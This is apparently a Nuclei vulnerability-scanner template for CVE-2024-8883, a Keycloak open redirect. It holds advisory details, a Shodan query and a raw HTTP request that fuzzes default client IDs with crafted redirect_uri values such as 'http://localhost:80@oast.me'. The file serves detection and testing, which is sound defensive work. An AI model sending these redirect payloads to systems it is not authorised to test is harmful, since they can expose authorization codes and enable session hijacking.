Keycloak - Open Redirect

id: CVE-2024-8883

info:
  name: Keycloak - Open Redirect
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.
  impact: |
    Attackers can redirect users to malicious URLs and capture sensitive information such as authorization codes and session tokens, potentially leading to session hijacking and account compromise.
  remediation: |
    Update Keycloak configuration to avoid using localhost or 127.0.0.1 as Valid Redirect URIs, and apply security patches addressing the open redirect vulnerability.
  reference:
    - https://github.com/advisories/GHSA-vvf8-2h68-9475
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 6.8
    cve-id: CVE-2024-8883
    cwe-id: CWE-601
    epss-score: 0.01959
    epss-percentile: 0.77893
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"keycloak"
  tags: cve,cve2024,keycloak,redirect,vuln,vkev

variables:
  redirect_uri: "oast.me"

http:
  - raw:
      - |
        GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      redir_host:
        - http://localhost
        - http://127.0.0.1
        - https://localhost
        - https://127.0.0.1
        - http://[::]
        - https://[::]

      client_id:
        - security-admin-console
        - master-realm
        - broker
        - admin-cli
        - account
        - account-console

    attack: clusterbomb

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - 'Location:\s+https?://(localhost|127.0.0.1|\[::\]):\d*@oast\.me\?'

      - type: status
        status:
          - 302
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